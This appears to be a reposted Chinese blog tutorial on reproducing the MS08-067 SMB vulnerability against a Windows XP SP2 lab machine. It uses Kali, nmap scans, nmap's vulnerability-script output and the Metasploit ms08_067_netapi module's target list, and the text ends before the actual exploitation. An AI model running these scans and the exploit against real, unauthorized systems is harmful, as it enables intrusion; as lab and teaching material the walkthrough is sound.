Windows XP SP2(MS08-067漏洞复现及利用)

Posted 2021-09-19 sganyua

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了Windows XP SP2(MS08-067漏洞复现及利用)相关的知识，希望对你有一定的参考价值。

MS08-067漏洞：是一种远程过程调用(RPC)服务中的一个漏洞。通过SMB通道调用Server服务程序中的NetPathCanonicalize函数时，进行漏洞触发，造成可被利用实施远程代码执行。MS08-067漏洞原理及详尽分析过程，如飞客蠕虫Conficker便是利用这个漏洞来入侵系统

模拟环境：

攻击工具：kali Linux/nmap/msfconsole

目标：Windows XP SP2

一、使用nmap扫描网段内主机

命令：【nmap -sS -Pn 192.168.200.1/24】

注：-sS会使nmap执行一次隐秘的TCP扫描，以确定某个特定的TCP端口是否开放，-Pn会告知nmap不执行ping命令预先判断目标是否存活，而是默认主机为存活，也可以尝试使用-A选项

锁定目标IP192.168.200.139，使用-A，nmap将会尝试综合扫描和深入服务枚举

通过使用端口扫描，即可获取目标的一些信息，关于WinXP SP2，这里选择使用MS08-067漏洞进行漏洞复现及利用

msf6 exploit(windows/smb/ms08_067_netapi) > show targets//使用show targets可以列出受到漏洞影响的目标系统以及类型。
Exploit targets:

   Id  Name
   --  ----
   0   Automatic Targeting
   1   Windows 2000 Universal
   2   Windows XP SP0/SP1 Universal
   3   Windows 2003 SP0 Universal
   4   Windows XP SP2 English (AlwaysOn NX)
   5   Windows XP SP2 English (NX)
   6   Windows XP SP3 English (AlwaysOn NX)
   7   Windows XP SP3 English (NX)
   8   Windows XP SP2 Arabic (NX)
   9   Windows XP SP2 Chinese - Traditional / Taiwan (NX)
   10  Windows XP SP2 Chinese - Simplified (NX)
   11  Windows XP SP2 Chinese - Traditional (NX)
   12  Windows XP SP2 Czech (NX)
   13  Windows XP SP2 Danish (NX)
   14  Windows XP SP2 German (NX)
   15  Windows XP SP2 Greek (NX)
   16  Windows XP SP2 Spanish (NX)
   ...

二、漏洞利用（攻击过程）

（1）想使用metasploit框架，需要启用metasploit所依赖的postgresql数据库

在kali Linux上启动postgresql命令【systemctl start postgresql】

（2）开启msf

命令【msfconsole】

（3）利用手工方式尝试对WinsXP SP2发现MS8067漏洞

这里从metasploit中调用了nmap的插件--script=smb-vuln-ms08-067，-sT为一种隐秘的tcp连接扫描（-sS为一种隐秘的tcp syn扫描），-A为综合扫描，也可以用作操作系统探测

注：刚才扫描出如下内容，在nmap的扫描结果处报告发现了MS08-067漏洞，尝试利用模块发起攻击

Host script results:
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250

Nmap done: 1 IP address (1 host up) scanned in 1.39 seconds
msf6 >

（4）metasploit框架中包含数千个模块，如果想查找某个特定的渗透攻击，辅助或是payloads时，使用搜索（search）即可快速定位